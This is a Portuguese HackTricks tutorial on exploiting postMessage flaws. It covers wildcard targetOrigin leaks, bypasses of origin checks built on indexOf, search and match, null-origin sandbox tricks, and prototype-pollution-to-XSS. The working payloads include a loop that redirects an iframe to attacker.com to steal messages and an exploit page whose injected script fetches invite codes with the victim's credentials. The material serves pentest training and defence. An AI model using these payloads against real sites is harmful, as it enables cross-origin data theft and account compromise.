mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-01 15:58:49 +00:00
228 lines
13 KiB
Markdown
228 lines
13 KiB
Markdown
# Vulnerabilidades PostMessage
|
||
|
||
## Vulnerabilidades PostMessage
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Enviar **PostMessage**
|
||
|
||
**PostMessage** utiliza a seguinte função para enviar uma mensagem:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Observe que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
|
||
No **segundo cenário**, a **mensagem só pode ser enviada para aquele domínio** (mesmo que a origem do objeto window seja diferente).\
|
||
Se o **coringa** for usado, **mensagens poderão ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Window.
|
||
|
||
### Atacando iframe & coringa em **targetOrigin**
|
||
|
||
Como explicado [**neste relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
|
||
Observe que se a página pode ser iframed mas o **targetOrigin** está **definido para uma URL e não para um coringa**, este **truque não funcionará**.
|
||
```markup
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## Exploração de addEventListener
|
||
|
||
**`addEventListener`** é a função usada pelo JS para declarar a função que está **esperando `postMessages`**.\
|
||
Um código semelhante ao seguinte será utilizado:
|
||
```javascript
|
||
window.addEventListener("message", (event) => {
|
||
if (event.origin !== "http://example.org:8080")
|
||
return;
|
||
|
||
// ...
|
||
}, false);
|
||
```
|
||
Note neste caso como a **primeira coisa** que o código está fazendo é **verificar a origem**. Isso é extremamente **importante**, principalmente se a página for fazer **algo sensível** com a informação recebida (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
|
||
|
||
### Enumeração
|
||
|
||
Para **encontrar ouvintes de eventos** na página atual, você pode:
|
||
|
||
* **Procurar** no código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
|
||
* **Executar** no console das ferramentas de desenvolvedor: `getEventListeners(window)`
|
||
|
||
![](<../../.gitbook/assets/image (618) (1) (1).png>)
|
||
|
||
* **Ir para** _Elementos --> Ouvintes de Eventos_ nas ferramentas de desenvolvedor do navegador
|
||
|
||
![](<../../.gitbook/assets/image (617).png>)
|
||
|
||
* Usar uma **extensão de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões de navegador irão **interceptar todas as mensagens** e mostrá-las para você.
|
||
|
||
### Bypasses de verificação de origem
|
||
|
||
* **`event.isTrusted`** é Verdadeiro quando o evento foi gerado por uma ação do usuário. Não é realmente contornável se corretamente aplicado, mas vale a pena mencionar.
|
||
* Se **`indexOf()`** for usado para **verificar** a **origem** do evento PostMessage, lembre-se de que pode ser facilmente contornado como no exemplo a seguir:
|
||
```javascript
|
||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||
```
|
||
* Se **`search()`** for usado para **validar** a **origem**, pode ser inseguro. De acordo com a documentação de `String.prototype.search()`, o método **recebe um objeto de expressão regular** em vez de uma string. Se algo além de regexp for passado, será implicitamente convertido em regex.\
|
||
Em expressão regular, **um ponto (.) é tratado como um coringa**. Um atacante pode tirar vantagem disso e **usar** um **domínio especial** em vez do oficial para burlar a validação, como em:
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
* Assim como no exemplo anterior, **`match()`** também verifica uma **regex**, então se a regex estiver malformada, ela pode ser **bypassável**.
|
||
* Se a função **`escapeHtml`** for usada, a função não cria um objeto `new` escapado, em vez disso, ela **sobrescreve propriedades** do objeto existente. Isso significa que se conseguirmos criar um objeto com uma propriedade controlada que não responda a `hasOwnProperty`, ela não será escapada.
|
||
```javascript
|
||
// Expected to fail:
|
||
result = u({
|
||
message: "'\"<b>\\"
|
||
});
|
||
result.message // "'"<b>\"
|
||
// Bypassed:
|
||
result = u(new Error("'\"<b>\\"));
|
||
result.message; // "'"<b>\"
|
||
```
|
||
O objeto `File` é perfeito para este exploit, pois possui uma propriedade `name` somente leitura que é usada pelo nosso template e irá contornar a função `escapeHtml`.
|
||
|
||
### e.origin == window.origin bypass
|
||
|
||
Quando uma página está embutida em um **iframe sandboxed** através de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, o **origin** desse **iframe** será **`null`**.
|
||
|
||
Quando o **valor de sandbox `allow-popups` está definido**, então o **popup aberto** irá **herdar** todos os **atributos sandboxed**, a menos que `allow-popups-to-escape-sandbox` esteja definido.\
|
||
Assim, abrir um **popup** de um **origin null** fará com que **`window.origin`** dentro do popup também seja **`null`**.
|
||
|
||
Portanto, se você abrir um **iframe sandboxed** permitindo popups, e então **abrir um popup** a partir do iframe, e **enviar uma postMessage** do iframe **para o popup**, ambos os origins são null, então: **`e.origin == window.origin == null`**
|
||
|
||
Para mais informações **leia**:
|
||
|
||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Contornando e.source
|
||
|
||
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para **Content Scripts de extensões de navegador** para verificar se a mensagem foi enviada da mesma página):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if( received_message.source !== window ) {
|
||
return;
|
||
}
|
||
```
|
||
Você pode forçar o **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** a **postMessage** e é **imediatamente deletado**.
|
||
|
||
Para mais informações **leia:**
|
||
|
||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypass do X-Frame-Header
|
||
|
||
Para realizar esses ataques idealmente você conseguirá **colocar a página web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **impedir** esse **comportamento**.\
|
||
Nesses cenários, você ainda pode usar um ataque menos discreto. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
|
||
```markup
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Roubando mensagem enviada para o iframe filho bloqueando a página principal
|
||
|
||
Na página a seguir, você pode ver como poderia roubar **dados sensíveis de postmessage** enviados para um **iframe filho** ao **bloquear** a página **principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes de serem recebidos:
|
||
|
||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Roubando mensagem modificando a localização do iframe
|
||
|
||
Se você pode colocar um iframe em uma página web sem o cabeçalho X-Frame-Header que contém outro iframe, você pode **mudar a localização desse iframe filho**, então se ele está recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **mudar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
|
||
|
||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||
{% endcontent-ref %}
|
||
|
||
### postMessage para Poluição de Protótipo e/ou XSS
|
||
|
||
Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode colocar um **iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
|
||
|
||
Um par de **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||
|
||
Exemplo de um exploit para abusar de **Poluição de Protótipo e depois XSS** através de um `postMessage` para um `iframe`:
|
||
```markup
|
||
<html>
|
||
<body>
|
||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||
}
|
||
|
||
setTimeout(get_code, 2000);
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Para **mais informações**:
|
||
|
||
* Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/)
|
||
* Link para a página sobre [**XSS**](../xss-cross-site-scripting/)
|
||
* Link para a página sobre [**poluição de protótipo do lado do cliente para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||
|
||
## Referências
|
||
|
||
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
* Para praticar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|